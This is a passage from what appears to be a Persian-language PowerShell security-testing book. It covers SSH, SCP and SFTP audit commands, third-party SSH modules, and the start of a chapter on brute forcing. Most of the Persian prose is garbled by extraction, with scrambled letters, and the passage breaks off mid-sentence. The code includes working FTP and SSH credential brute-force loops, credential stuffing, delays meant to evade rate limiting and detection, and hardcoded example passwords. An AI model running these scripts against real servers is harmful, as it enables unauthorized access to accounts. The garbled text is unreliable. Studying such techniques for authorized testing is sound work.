# Check if the file exists 
if (Test-Path $filePath -PathType Leaf) { 
     # Read the contents of the file and print each line 
     Get-Content $filePath | ForEach-Object { 
          Get-PSFTPFile -ComputerName $computer -Path $_ 
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     } 
} else { 
     Write-Host "File not found: $filePath" 
} 

حاصل   نانیاز مجوز مناسب اطم د، یستیکه مالک آن ن ییهاستم یس  ی رو ی تیامن یهای ابیقبل از انجام ارز شهیهم

 .د یکن

PowerShell and SSH, SCP, and SFTP 

مم از    SFTPو    Secure Shell (SSH)  ،Secure Copy (SCP)  یسرورها  ی تیامن  ی زیانجام  استفاده  با 

PowerShell   و    یاحتمال  یهایریپذ بیآس   ییشناسا  ،یتیامن  ماتیتنظ  یابیارز  یاز مراحل برا  یاشامل مجموعه

هر جنبه    ی برا  بردی کار  یها گام به گام با مثال   کرد یرو  ک یجامع    یراهنما  نیاطلاعات مرتبط است. ا  ی آورجمع

 دهد.ی ارائه م را  Auditاز 

SSH server configuration assessment 

  ی احتمال  یهایریپذ بیآس   ییشناسا  ی برا  ن یتوان از ای شود. سپس می آغاز م  SSHنسخه سرور    ییبا شناسا  یابیارز

 داده استفاده کرد:  گاهیمختلف پا  یجستجوها ق یاز طرهای موجود،  CVEو 

Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { ssh 
-V } 

کند.  ی م  ی ابیشود و اطلاعات نسخه را بازی متصل م  SSH (ssh.snowcapcyber.com)دستور به سرور    نیا

  ییشناسا  یمهم است. مرحله بعد   اریخاص بس  یهامرتبط با نسخه   یهایریپذ بیآس   ییشناسا  یدانستن نسخه برا

 شده است: یبانیپشت  د یتبادل کل یهاتم یالگور

Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { ssh 
-Q kex } 

ها تمیالگور  نیا  ییکند. شناسای شده جستجو م  یبانیپشت  د یتبادل کل  یهاتم یالگور  یرا برا   SSHدستور سرور    نیا

  ی رمزگذار یهاتمیفهرست کردن الگور ی کند. مرحله بعد ی کمک م د یتبادل کل  ند یفرآ  تیامن یابیبه ارز

 شده است: یبانیپشت
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Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { ssh 
-Q cipher } 

  ی بانیپشت  ی رمزهاکند. درک  ی شده جستجو م  یبانیپشت  ی رمزگذار  یهاتم یالگور  یرا برا   SSHدستور سرور    نیا

  ی بانیپشت  تیاحراز هو  یهاروش   یبررس   یاست. مرحله بعد   ی ها ضرور داده   یقدرت رمزگذار  ی ابیارز  ی شده برا

 است:  SSHشده توسط سرور 

Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { ssh 
-Q auth } 

  ی ها براروش   ن یا  یکند. بررس ی م   شده جستجو  یبانیاعتبار پشت  د ییتأ  یهاروش   یرا برا   SSHدستور سرور    نیا

 مهم است. اریبس منیا تیاحراز هو ند یفرآ ک یاز  نانیاطم

Brute-forcing authentication for SSH 

مورد حمله    تواند ی کنند، م ت یو رمز عبور احراز هو  ینام کاربر  قیاز طر  دهد ی که به کاربران اجازه م  یسیهر سرو

Brute Force  د یکل  ایو رمز عبور    ی. مهاجم هر نام کاربرقرار گیرد  SSH  ،SCP    وSFTP  کند ی ممکن را امتحان م  

 شود.  دا یپ حیصح د یکه کل  یتا زمان

SSH server access control 

 : میکن  یبررس  ر یزدستور   قیرا از طر SSHسرور   ی کربند یپ لیفا  میتوانی ما م

Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { 
Get-Content /etc/ssh/sshd_config } 

را در مورد    ییهانشیب  لیفا  نیا  لیو تحل   هیکند. تجزی م  یابیرا باز  SSHسرور    یکربند یپ  لیفا  اتیدستور محتو  نیا

 دهد.ی مختلف ارائه م  یت یامن ماتیتنظ

Reviewing user access 

 : می کن یبررس  ریموارد ز قیکاربر را از طر  ی الزامات دسترس  میتوانی ما م
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Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { cat / 
etc/ssh/sshd_config | grep AllowUsers } 

را در    ییهانش یکند و بی استخراج م  است،  AllowUsers  یحاو   که  یکربند یپ  لی را از فا  یدستور خطوط  نیا

  ت یبه کاربران خاص امن   یمحدود کردن دسترس توجه داشته باشید که  دهد.  ی کاربر ارائه م یمورد کنترل دسترس 

 دهد.ی م  شیرا افزا

SCP server configuration assessment 

 است: ریاطلاعات نسخه به شرح ز  یی، روش شناساSCPدر رابطه با 

Invoke-Command -ComputerName scp.snowcapcyber.com -ScriptBlock { scp 
-V } 

  ی بانیپشت د یی. تأریخ ایشود ی م یبانیپشت SCP ایکند که آی م  یشود و بررس ی متصل م SSHدستور به سرور  نیا

SCP است. ی ضرور ،لیانتقال فا ت یامن یابیارز یبرا 

SFTP server configuration assessment 

 است:  ریاطلاعات نسخه به شرح ز یی، روش شناساSFTPدر رابطه با 

Invoke-Command -ComputerName sftp.snowcapcyber.com -ScriptBlock { sftp 
-V } 

کند. دانستن نسخه  ی م  یاب یرا باز  SFTP  ستمیرس یشود و اطلاعات نسخه زی متصل م  SSHدستور به سرور    نیا

 است. ی اتیخاص ح یهامرتبط با نسخه  یهایریپذ ب یآس  ییشناسا یبرا

Reviewing SFTP configuration 

 : می کن یبررس  ر یرا به صورت ز SFTP ی کربند یپ م یتوانی م نیهمچن

Invoke-Command -ComputerName www.snowcapcyber.com -ScriptBlock { 
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Get-Content /etc/ssh/sshd_config | grep Subsystem } 

در مورد    یکند و اطلاعاتی خراج م است  است  Subsystem  ی حاوکه    یکربند یپ  لی را از فا  ی دستور خطوط  نیا

  ار یبس  یت یامن  یهایابیارز  ی برا  SFTP  یکربند یپ  ماتیتنظ   ی دهد. بررس ی شده ارائه م  یکربند یپ  SFTP  ستمیرس یز

 مهم است.

Security auditing tools for SSH 

 :می استفاده کن ی تیامن یهای زیمم  یمختلف برا  ی زیمم یاز ابزارها میتوانی م  نیما همچن

Invoke-Command -ComputerName YourSSHServer -ScriptBlock { ssh-audit 
YourSSHServer } 

ابزار    نیا از  مم  یبرا   ssh-auditدستور  م   SSHسرور    یرو   یتی امن  یز یانجام  توص  کند ی استفاده   یهاه ی و 

Hardening  یهانش یرا خودکار کرده و ب  ی ابیارز  ند یتوانند فرآی م  یتی امن  یز یمم  ی. ابزارهاکند ی م  یسازاده یرا پ 

 ارائه دهند. یاحتمال یهایریپذ ب یرا در مورد آس  یارزشمند 

User authentication and authorization 

  د ییرا تأ  SSH  د یکل  ت یاستفاده از احراز هو  ییتوانا  د یسرور امن، با  ک ی  ی برا  ی تیامن   یز ی مم  ک یاز    یبه عنوان بخش

 : میکن

# Invoke SSH command on the remote server using the private key 
Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { 
     param($sshKey) 
     ssh -T -i $using:sshKey ajcblyth@ssh.snowcapcyber.com 
} -ArgumentList $sshKey 

و    د یکل  لیفا  ریمس  ینیگزیکند. جای استفاده م  SSHاتصال به سرور    یبرا   SSH  د یکل   تیدستور از احراز هو  نیا

کاربر است.    تیاحراز هو یروش امن برا  کی SSH د یکل  تیاست. احراز هو ی ضروردر دستور بالا مشخصات کاربر 

 است: یابیقابل دست ر یامر به شرح ز نی. امیکن  د ییکاربر را تأ ی مجوزها د ی با ن یما همچن ن، یعلاوه بر ا
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Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { sudo 
-l } 

امت  نیا را در سرور    sudo  ازاتیدستور  برا  یمجوزها  ی اعتبارسنجکند.  ی م   یبررس   SSHکاربر  حصول    ی کاربر 

 مهم است. اریبس یضرور  ر یغ ازاتیکاربران بدون امت ی از دسترس  نانیاطم

Monitoring and logging 

 است: Logنظارت و ثبت   ی بررس  ییتوانا  ، یتیامن  یز یاز هر مم یبخش

Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { 
Get-EventLog -LogName Security -Source sshd } 

  ی کند. نظارت و بررس ی م  یابیباز  SSHدر سرور    Security Log  را از    SSHمربوط به    ی دادهایدستور رو  نیا

Log کند ی کمک م  یتی به حوادث امن ییو پاسخگو ییبه شناساها. 

Modules 

اند. در مرحله بعد،  افته یتوسعه    PowerShellبه    SSH  یهات یآوردن قابل  ی ماژول و ابزار شخص ثالث برا  نیچند 

 . میکنی کنند نگاه می فعال م PowerShellرا در  SSH ی که دسترس   یمحبوب یها و ابزارهااز ماژول  یما به برخ

Posh-SSH 

 شود. هاب یافت میاین ابزار در گیت 

Posh-SSH  یهات یاست که قابل  ی ماژول  SSH   یرا برا  PowerShell دهد  ی به شما امکان م  نیکند. ای فراهم م

  SFTPو   SCPها را با استفاده از  لیو فا د یراه دور اجرا کن  یدستورات را در سرورها د،یکن جادیرا ا  SSHجلسات  

 : د یانتقال ده

# Install Posh-SSH module 
Install-Module -Name Posh-SSH -Force -AllowClobber 
# Import the module 
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Import Module Posh-SSH 
# Example: Establish an SSH session 
$session = New-SSHSession -Port 22 -ComputerName ssh.snowcapcyber.com 
-Credential (Get-Credential) 
# Example: Run a command on the remote server 
Invoke-SSHCommand -SessionId $session.SessionId -Command "ls -l" 
# Example: Close the SSH session 
Remove-SSHSession -SessionId $session.SessionId 

WinSCP .NET assembly 

WinSCP    نتیکلا  کی در اصل  SCP    وSFTP  مجموعه    کیاست، اما    یکیگراف  یبر رابط کاربر  یمبتن.NET    را

 استفاده شود:  PowerShell یهاپت یتواند در اسکری دهد که می ارائه م زین

# Example: Using WinSCP .NET Assembly for SFTP 
$sessionOptions = New-Object WinSCP.SessionOptions -Property @{ 
     Protocol = [WinSCP.Protocol]::Sftp 
     HostName = "ssh.snowcapcyber.com" 
     UserName = "ajcblyth" 
     Password = "MyPa55w0RdL3tM31N" 
} 
$session = New-Object WinSCP.Session 
try { 
     $session.Open($sessionOptions) 
     $session.GetFiles("/remote/path/*.txt", "C:\local\path\").Check() 
} 
finally { 
     $session.Dispose() 
} 

https://winscp.net/eng/docs/library 

SSH-Sessions 

 شود. هاب یافت میاین ابزار در گیت 
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SSH-Sessions  م  ی ماژول امکان  شما  به  که  جلسات  ی است  در    یدائم  SSHدهد  و    جاد یا  PowerShellرا 

 : د یکن تیریمد 

# Install SSH-Sessions module 
Install-Module -Name SSH-Sessions -Force -AllowClobber 
# Import the module 
Import-Module SSH-Sessions 
# Example: Establish a persistent SSH session 
$session = New-SshSession -ComputerName ssh.snowcapcyber.com 
-Credential (Get-Credential) 
# Example: Run a command on the remote server 
Invoke-SshCommand -SessionId $session.SessionId -Command "ls -l" 
# Example: Close the persistent SSH session 
Remove-SshSession -SessionId $session.SessionId 

Chilkat PowerShell SSH/SFTP module 

Chilkat   ماژول    کیPowerShell   یبرا  SSH    وSFTP  یهااتیدهد عملی دهد که به شما امکان می ارائه م 

 : د یرا انجام ده SSHمختلف مربوط به 

# Example: Using Chilkat SSH/SFTP Module 
$ssh = New-Object Chilkat.Ssh 
$success = $ssh.Connect("ssh.snowcapcyber.com") 
if ($success -eq $true) { 
     $ssh.AuthenticatePw("ajcblyth", "MyPa55w0RdL3tM31N") 
     $commandResult = $ssh.QuickCmd("ls -l") 
     Write-Host $commandResult 
} 
$ssh.Disconnect() 

https://www.chilkatsoft.com/refdoc/cssftpref.html 

منتشر    یهاادداشتیو    یماژول ها به اسناد رسم  ن یاطلاعات در مورد ا  نیآخر  ی برا  شهیکه هم  د یداشته باش   ادیبه  

  نان یخود، اطم  یها پت یدر اسکر  SSH  یهاهنگام استفاده از ماژول  ن،یا  ر . علاوه بد یمراجعه کن  شده،

 .د یکنی م  افتیو مجوز مناسب را در د یکنی م  ی رویپ ی تیامن یهاوه ی ش  نیاز بهترکه  د یحاصل کن
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  PowerShellبا استفاده از    SFTPو    SSH  ،SCP  یسرورها  یبرا  یتی امن  یز یاز انجام مم  ی کل  ی نما  کیراهنما    نیا

م ارزی ارائه  شامل  ذکر شده  مراحل  کنترل دسترس   یکربند یپ  یهای ابیدهد.  هو  یهاروش   ، یسرور،  و    تیاحراز 

  ی جمع آور  ی برا  PowerShellتوان از  ی دهد که چگونه م ی کار شده نشان م  یهاشود. نمونه یها موه یش   نیبهتر

 راه دور استفاده کرد.  ی سرورها ی رو  یتیامن یهای اطلاعات و انجام بررس 

و کاهش    ییبه شناسا  ،منظم  یهای ابیهستند و ارز  یضرور  ی قو  یتیامن  تیوضع  کیحفظ    یبرا  یتیامن  یهای زیمم

م   یاحتمال  یهایریپذ بیآس  تطبی کمک  ابزار   PowerShell  یر یپذ   ق یکند.  به  را  برا  یآن    ی ارزشمند 

  ل یتبد   SSHبر    ی مبتن  یهاس یسرو  ت یدر مورد امن  یعمل  نشیو به دست آوردن ب  یحسابرس   فیوظا  یخودکارساز

  ی رو یپ  یو قانون  ی اخلاق  یهاو از دستورالعمل   د یرا با مجوز مناسب انجام ده  یتیامن  یهای ابیارز  شهیکند. همی م

 .د یکن

Summary 

  SFTPو    FTP  ،TFTP  یدر مورد سرورها   تیتست امن  دهیچیچشم انداز پ  یفصل به طور گسترده به بررس   نیا

کانون نقطه  است.  از    ی بررس   ی پرداخته  استفاده  ابزار  PowerShellما  تطب   ی بود،  پ  قیقابل  در    ش یمایکه 

  PowerShell یذات  ی قو  یهاتیارزشمند است. در سرتاسر فصل، ما قابل ار یبس یحوزه محور نیا یهای دگیچیپ

کرد کشف  تطب  م یرا  عنوان    یریپذ   ق یو  به  را  برا  ک یآن  جامع  نگران  ی دگیرس   ی راه حل  در    ی تیامن   یهای به 

 . میگذاشت شیبه نما ل یانتقال فا یهاط یمح

  FTPاتصالات شبکه مانند    ی رو  Brute-Forcing  یاجرا  ی را برا  PowerShellدر فصل بعد، نحوه استفاده از  

 گرفت.   می خواه ادی SSHو 
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 Brute Forcing in PowerShell -  فصل دهم

  ی ها در تلاش براکه سازمان   یی کرد. از آنجا  میخواه  یرا بررس   یتیدر تست امن  Brute Forcingفصل، ما    نیدر ا

فصل    نیشود. ای مهم م  اریبس Brute Force حملات  یهای دگ یچیخود هستند، درک پ  تالیج ید  ط یمح  تیتقو

  ی عنوان جزء ضرور به   Brute Force حملات  رامون یپ   ی ابزارها و ملاحظات اخلاق  ، متدولوژی  ان یرا در م  ی سفر

 . کند ی آغاز م ی تیامن یهایابیارز

نقاط ضعف    ییآن را در شناسا  تیو اهم  میپردازی م  کیتکن   نیا  اتیما به جزئ  ،یعمل  یآن تا اجرا  یمفهوم   یاز مبان

مرتبط با استفاده    ی قانون  یامدهایو پ  ی ملاحظات اخلاق  ن، ی. علاوه بر امیکنی روشن م  ت یاحراز هو  یهاسمیدر مکان

حملات   امن  یبرا  Brute Forceاز  تست  بررس   یت یمقاصد  پمیکنی م  ی را  که  همانطور  کشف  ی دگیچی.  را  ها 

به   Brute Forceاز  یکاهش خطرات ناش   تیرا در مورد اهم ی ارزشمند  یهانشیب  ی تیمتخصصان امن  م،یکنی م

 .ند کنی م ت یتقو  رمجازیغ یمحافظت در برابر دسترس  ی ها را براآن  ییآورند و توانای دست م

  SOAP  و   REST  یهاسی سرو  نیو همچن   SSHو    FTPشبکه مانند    هایسرویس   Brute Forceفصل به    نیا

 . میکنی م  تفادهاس  PowerShellدر بردی کار یهاحمله، از نمونه  یهاکینشان دادن تکن ی پردازد. برای م

 را پوشش خواهد داد:  ری ز ی فصل موضوعات اصل نیا

• Brute forcing, in general, using PowerShell 

• Brute forcing FTP using PowerShell 

• Brute forcing SSH using PowerShell 

• Brute forcing web services using PowerShell 

• Brute forcing a hash 

Brute forcing, in general, using PowerShell 

Brute Forcing  و جامع،    کیستماتیعبور س   ی تا رمزها  رود ی به کار م  یت یامن  یهای ابیاست که در ارز  ی کیتکن

  ح، یرمز عبور صح  افتنیممکن تا    یهاب یاطلاعات حساس را با امتحان کردن همه ترک  ریسا  ای  یرمزگذار  یدهایکل

  ی اتیها حبرنامه   ایها  شبکه  ها،ستم یشده توسط س   یسازاده یپ  یت یاقدامات امن  یابیروش در ارز   نیحدس بزند. ا

و    کنند ی استفاده م   Brute Forceها از  و ضعف   های ریپذ بیآس   ییشناسا  ی برا  یتی. متخصصان امن شودانچام می 

 کنند.   ت یبالقوه تقو  یبریسا  داتیو تهد   رمجازیغ  یهایتا دفاع خود را در برابر دسترس   کنند ی ها کمک مبه سازمان 

از کاراکترها    یقابل تصور  بیهر ترک   یشامل تلاش برا  Brute Forceرمز عبور،    یتیامن  یهای ابیدر ارز

قابل    ی به راحت  ا ی  فیعبور ضع  ی روش در برابر رمزها  نیکشف شود، است. ا  ح یکه رمز عبور صح  یتا زمان
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حساس    یهااز حساب  محافظت  ی برا  ده یچیو پ  ی عبور قو  ی استفاده از رمزها  تیحدس زدن مؤثر است و بر اهم

استفاده    Brute Force  ند یفرآ  ی خودکارساز  یبرا   دهی چیپ  ی اغلب از ابزارها  یتی. کارشناسان امنکند ی م  د یتأک

 کنند.ی کوتاه استفاده م ی بازه زمان ک یمتعدد در   باتیترک ع یسر شیآزما یبرا یو از قدرت محاسبات نموده 

دارند، در معرض    ینقش اساس   ی ساز  رهیذخ  ایانتقال    ن یها در حداده   تیکه در حفظ امن  ، یرمزگذار  یدهایکل

آزما  ز ی ن  Brute Forceحملات   با  دارند. هدف مهاجمان  ترک  کیستماتیس   شیقرار  ممکن،    ید یکل  باتیتمام 

  تم یمانند قدرت الگور  یبه عوامل  Brute Forceحمله    کی  تیشده است. موفق  یاطلاعات رمزگذار   ییرمزگشا

  ی در برابر رمزگذار  Brute Forceبا استفاده از    یتیامن  ی ابیدارد. ارز  یبستگ   د یکل  ی دگیچ یطول و پ  ، یرمزگذار

ارز  پذ   یابیبه  ن  ی کند و مناطقیکمک م   یرمزنگار  یهاستمی س   ی ریانعطاف  تقو   از یرا که    ییدارند شناسا  تیبه 

 کند.ی م

  ی تیامن  یهای ابیارز  ی ارزشمند برا  ک ی تکن  ک ی  Brute Forceکه    ی است که در حال  ی نکته ضرور  نیتوجه به ا

بالقوه بر عملکرد    ر یجامع با تأث  یت یبه تست امن  ازین  نیب  د یها باسازمان   جه،یفشرده و زمان بر است. در نتولی  است  

 و تجربه کاربر تعادل برقرار کنند. ستمیس 

PowerShell  ،است که    ی ابزار قدرتمند   کروسافت،یاز ما  ی کربند یپ  تی ریو مد   فیوظا  ون یچارچوب اتوماس   کی

 پتیاسکر  یهات یاستفاده کرد. قابل  Brute Forceاز جمله    ،یت یمختلف تست امن  یها ت یفعال  یاز آن برا  توانی م

ها را انجام  ی ابیکه ارز  یتیمتخصصان امن   یارجح برا  یآن را به انتخاب  ندوز، یو  یهاستم یو ادغام آن با س   یسینو

در تست    Brute Force  ی برا  PowerShellاز نحوه استفاده از    یکل  ینما  ک ی  نجای کند. در ای م  لیدهند، تبد ی م

 آورده شده است: یتیامن

Automated scripting 

PowerShell  یهاب یتلاش از ترک  ند یکنند که فرآ  جادیا  ییهاپتیتا اسکر  دهد ی اجازه م   یتیبه متخصصان امن 

تکرار از    یتوان برای را م  ر یز  یهاپتی. اسکرکنند ی را خودکار م  تیاحراز هو  یهاتوکن  ایعبور    یمختلف رمزها

 کرد:  یخاص سفارش  یارهایبات بر اساس معیترک د یتول ایعبور  ی شده از رمزها فیتعر  شیاز پ ستیل  کی قیطر

$passwords = Get-Content "passwords.txt" 
$username = "root" 
$target = "snowcapcyber.com" 
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foreach ($password in $passwords) { 
     $credentials = New-Object PSCredential -ArgumentList ($username, 
(ConvertTo-SecureString -AsPlainText $password -Force)) 
Brute forcing, in general, using PowerShell 141 
     # Attempt login using $credentials against $target 
     # Use Test-Credential cmdlet to validate 
     # Perform additional actions based on the response 
} 

Password list attacks 

PowerShell  رمز عبور    ستیحملات ل  ، یعبور احتمال  ی از رمزها  یستیل  یحاو   لیفا  کیتواند با خواندن از  ی م

  ای  صورت پذیرد   ستمیبه س   ز یآم  ت یکه ورود موفق  یشود، تا زمانی هر رمز عبور تکرار م  با   پتیرا انجام دهد. اسکر

 . تمام شود ستیل

Dictionary attacks 

PowerShell  دیکشنری  شود، حملات  یعبور استفاده م   یکه معمولاً در رمزها  یکلمات و عبارات   بیتواند با ترکی م

دیکشنری    ایکلمات در دسترس عموم استفاده کنند  یهاممکن است از فهرست یتی ا انجام دهد. متخصصان امنر

 کنند.   جادیرا متناسب با هدف خاص ا یسفارش 

Credential stuffing 

در  ی که قبلاً  و رمز عبور  ی نام کاربر  یهااستفاده از جفت   ی با تلاش برا  توانند ی م  PowerShell  یهاپتیاسکر

ا  Credential Stuffing، حملات  شناسایی شده است  مختلف  یهاسیسرو  یی به شناسا  نیرا خودکار کنند. 

اسکریپت زیر  کنند.  ی پلتفرم استفاده مجدد م  نیها در چند  Credentialکند که کاربران از  ی کمک م  ی موارد

 استفاده شود:  Credential Stuffingانجام  یتواند برای م

$credentials = Get-Content "credentials.txt" | ConvertTo-SecureString 
$target = "snowcapcyber.com" 
foreach ($credential in $credentials) { 
     # Attempt login using $credential against $target 
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     # Perform additional actions based on the response 
} 

Rate limiting and stealth 

برا  ییهای ژگ یو  توانند ی م  PowerShell  یهاپتیاسکر شناسا  ی ریجلوگ  یرا  ا  ،ییاز    نیب  ر یتاخ  جاد یمانند 

هدف،    ستمیشده توسط س   یسازاده یپ  Rate Limiting  یهاسم یفرار از مکان  یبرا  ستم یورود به س   یهاتلاش 

 کنند.   بیترک

Brute forcing FTP using PowerShell 

Brute Force  سرور    کیFTP   س تلاش  کاربر  یهابیترک   کیستمات یشامل  نام  برا  یمختلف  عبور  رمز    ی و 

تواند ی م   NET Framework.و ادغام    یسینو  پتیاسکر  یهات یبا قابل  PowerShellاست.    رمجازیغ  یدسترس 

در مورد نحوه   یقی دق  یراهنما  ری باشد. در ز  یتیتست امن  نیدر ح  ند یفرآ  نیا  یخودکارساز  ی برا  یابزار قدرتمند 

 ارائه شده است.   یتیتست امن  ی ویسنار  کیدر    FTPسرور    یبر رو   Brute Force  یبرا   PowerShellاستفاده از  

Setting up the environment 

کنترل شده   ط یمح ک یدر   شیاز انجام آزما نان یو اطم  حیداشتن مجوز صر  ،ی تیامن ش یقبل از انجام هر گونه آزما

اجازه ورود ناشناس   ایآ نکهی، مانند آدرس، پورت، و اFTPاطلاعات مربوط به سرور  ن،یمهم است. علاوه بر ا اریبس

 . د یکن ی جمع آور  ر، یخ ایدهد ی را م

Creating credential lists 

از منابع    توانیها را مفهرست  نی. اد یآماده کن  Brute Forceحمله    یو رمز عبور را برا   یکاربر  یهااز نام   یستیل

  ی بر اساس الگوها  ایرمز عبور فاش شده،    یاطلاعات  یهاگاهیشده، پاشناخته   فرض شیکرد، از جمله اعتبار پ   افتیدر

.  د یبخوان  یبه راحت  یخارج  یهال یها را از فاست یل  نیا  دهد ی به شما امکان م  PowerShellاند.  شده   د یتول  جیرا

از    یستی. در ادامه ل میکنیم   یبارگذار   ریمتغ  کیدر    یپردازش بعد   یرا برا  لیفا  کی  اتی، محتو PowerShellدر  

 : میکنی م  یو رمز عبور را بارگذار ی کاربر یهانام

$usernames = Get-Content "usernames.txt" 
$passwords = Get-Content "passwords.txt" 
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FTP login attempt script 

ممکن تکرار    باتیدهد تا در تمام ترکی تودرتو اجازه م  یهابه حلقه   PowerShell  یسینو  پتیاسکر  یهاتیقابل

به     ستم یورود به س   یرا در تلاش برا  FTPسرور   کیعبور    یو رمزها  یر کارب  یهااز نام  ی ستیل  ر،یشوند. در کد ز

 :می کنی مرور م یصورت چرخش

$ftpServer = "ftp.snowcapcyber.com" 
$ftpPort = 21 
foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
          $credentials = New-Object PSCredential -ArgumentList 
($username, (ConvertTo-SecureString -AsPlainText $password -Force)) 
          # Attempt FTP login 
          $ftpRequest = [System.Net. 
FtpWebRequest]::Create("ftp://${ftpServer}:${ftpPort}") 
          $ftpRequest.Credentials = $credentials 
          $ftpRequest.Method = [System.Net. 
WebRequestMethods+Ftp]::ListDirectory 
         try { 
               $ftpResponse = $ftpRequest.GetResponse() 
               Write-Host "Login successful: $username:$password" 
               # Perform additional actions based on a successful login 
         } 
           catch [System.Net.WebException] { 
               # Handle FTP server response (e.g., incorrect credentials) 
               $errorMessage = $_.Exception.Message 
               Write-Host "Login failed: $username:$password - $errorMessage" 
          } 
     } 
} 

ترکی م   ی سع  پتیاسکر  نیا هر  با  کاربر  ی بیکند  نام  س   ی از  وارد  عبور  رمز  کلاس    ستم یو  از  شود. 

FtpWebRequest  اتصال    ک ی  جادی ا  ی براFTP  کند. ورود  ی م  ت یریکند و سپس پاسخ سرور را مد ی استفاده م

مربوطه    یخطا  یهاام یناموفق و پ  یهاکه تلاش   یکند، در حالی را آغاز م  ی اقدامات بعد   زی آم  تیموفق 

 شوند. ی ضبط م
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Handling FTP server responses 

کدها  FTP  یسرورها م   ی با  پاسخ  نشان دهنده موفقی مختلف  که  برا  ای  تیدهند  تلاش  است.    ی شکست  ورود 

کنند.   ر یتفس  Brute Forceهر تلاش   جهینت ن ییتع یها را براپاسخ نیتوانند ای م PowerShell یهاپتیاسکر

نشان دهنده   5 ای 4که  یحال  راست، د تیشود نشان دهنده موفقی شروع م 2کد پاسخ که با   کیبه عنوان مثال، 

 خطا است:  کی

try { 
     $ftpResponse = $ftpRequest.GetResponse() 
     $responseCode = [int]$ftpResponse.StatusCode 
 
     if ($responseCode -ge 200 -and $responseCode -lt 300) { 
          Write-Host "Login successful: $username:$password" 
          # Perform additional actions based on a successful login 
     } else { 
          Write-Host "Login failed: $username:$password - Unexpected 
response code: $responseCode" 
     } 
} 
catch [System.Net.WebException] { 
     # Handle expected errors (e.g., incorrect credentials) 
     $errorMessage = $_.Exception.Message 
     Write-Host "Login failed: $username:$password - $errorMessage" 
} 

Rate limiting and stealth 

  ستم یورود به س   ی تلاش برا  ن یب  ری، تاخFTPو کاهش خطر مسدود شدن توسط سرور    ییاز شناسا  ی ریجلوگ  یبرا

 به دست آورد:   Start-Sleepتوان با استفاده از ی را م نی. اد یریرا در نظر بگ 

$delaySeconds = 2 
foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
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          # This is the code section that tries 
# to connect and authenticate a user. 
           Start-Sleep -Seconds $delaySeconds 
     } 
} 

Logging and reporting 

 توانند ی م   PowerShell  یهاپت ی. اسکرد یکن  یساز  ادهیرا پ  Brute Force  ،Loggingحمله    جیثبت نتا  یبرا

 ثبت کنند:  یبعد  ل یو تحل ه یتجز ی ناموفق و هرگونه اطلاعات مرتبط را برا یهاموفق، تلاش  یهانیلاگ

$logFile = "bruteforce_log.txt" 
foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
# This is the code section that tries 
# to connect and authenticate a user. 
     if ($responseCode -ge 200 -and $responseCode -lt 300) { 
          Write-Output "$((Get-Date).ToString('yyyy-MM-dd 
HH:mm:ss')) - Successful login: $username:$password" | Out-File 
-Append -FilePath $logFile 
     } else { 
          Write-Output "$((Get-Date).ToString('yyyy-MM-dd 
HH:mm:ss')) - Failed login: $username:$password - Response code: 
$responseCode" | Out-File -Append -FilePath $logFile 
          } 
     } 
} 

ها در  ی ریپذ بیآس   ایالگوها    ییو شناسا  Brute Forceحمله   جینتا  ل یو تحل  ه یتجز ی تواند برای م Log  لیفا  نیا

 مهم باشد. اریبس  FTPسرور  تیامن

Brute forcing SSH using PowerShell 

Brute Force  سرور    ک یSSH   و رمز عبور    یمختلف نام کاربر  یهاب یترک  کیستماتیشامل تلاش س

قابل  PowerShellاست.    رمجاز یغ  ی دسترس   یبرا ادغام    ی سینو  پتیاسکر  یهاتی با   NET.و 

Framework   باشد. در    یتیتست امن  نیدر ح  ند یفرآ  نیا  یخودکارساز  یبرا  یتواند ابزار قدرتمند ی م
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  ک ی در    SSHسرور    ی بر رو  Brute Force  یبرا  PowerShellدر مورد نحوه استفاده از    یق یدق  یهنمارا  ریز

 ارائه شده است. ی تیتست امن یویسنار

Setting up the environment 

کنترل شده   ط یمح ک یدر   شیاز انجام آزما نان یو اطم  حیداشتن مجوز صر  ،ی تیامن ش یقبل از انجام هر گونه آزما

سرور   نیا ایآ نکه ی، مانند آدرس، پورت آن، و اSSHاطلاعات لازم را در مورد سرور   ن،یمهم است. علاوه بر ا اریبس

 .د یکن  یدهد، جمع آور ی رمز عبور را م ت یاجازه احراز هو

Creating credential lists 

از منابع    توانیها را مفهرست  نی. اد یآماده کن  Brute Forceحمله    یو رمز عبور را برا   یکاربر  یهااز نام   یستیل

بر اساس    ا یداده رمز عبور فاش شده،    یهاگاهیشده، پاشناخته   فرض ش یپ  های   Credentialمختلف، از جمله  

م   PowerShellکرد.    د یتول  ج یرا  یالگوها امکان  ای به شما  فا  هاست یل  نیدهد  از  راحت  ی خارج  یهالیرا    ی به 

 :د یبخوان

$usernames = Get-Content "usernames.txt" 
$passwords = Get-Content "passwords.txt" 

SSH login attempt script 

را می   پتیاسکر امکان  این  به س   یهاتا تلاش دهد  زیر به شما  از    SSH  ستم یورود  استفاده  با    Credentialرا 

به آماده  دهشده  انجام  خودکار  قابلد یطور  حلقه   PowerShell  یسینو  پتیاسکر  یهات ی.  اجازه    یهابه  تودرتو 

 ممکن تکرار شوند:  باتی دهد تا در تمام ترکی م

$sshServer = "ssh.snowcapcyber.com" 
$sshPort = 22 
foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
          # Construct the SSH command 
          $sshCommand = "sshpass -p '$password' ssh -o 
StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p $sshPort 
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$username@$sshServer" 
          try { 
               # Execute the SSH command 
               Invoke-Expression -Command $sshCommand 
               Write-Host "Login successful: $username:$password" 
               # Perform additional actions based on a successful login 
          } 
           catch { 
               # Handle SSH server response (e.g., incorrect credentials) 
               Write-Host "Login failed: $username:$password - $_" 

          } 
     } 
} 

  ی برا   sshpassشود. از دستور    ستمیو رمز عبور وارد س   ی از نام کاربر  ی بیکند با هر ترکی م  یسع  پتیاسکر  نیا

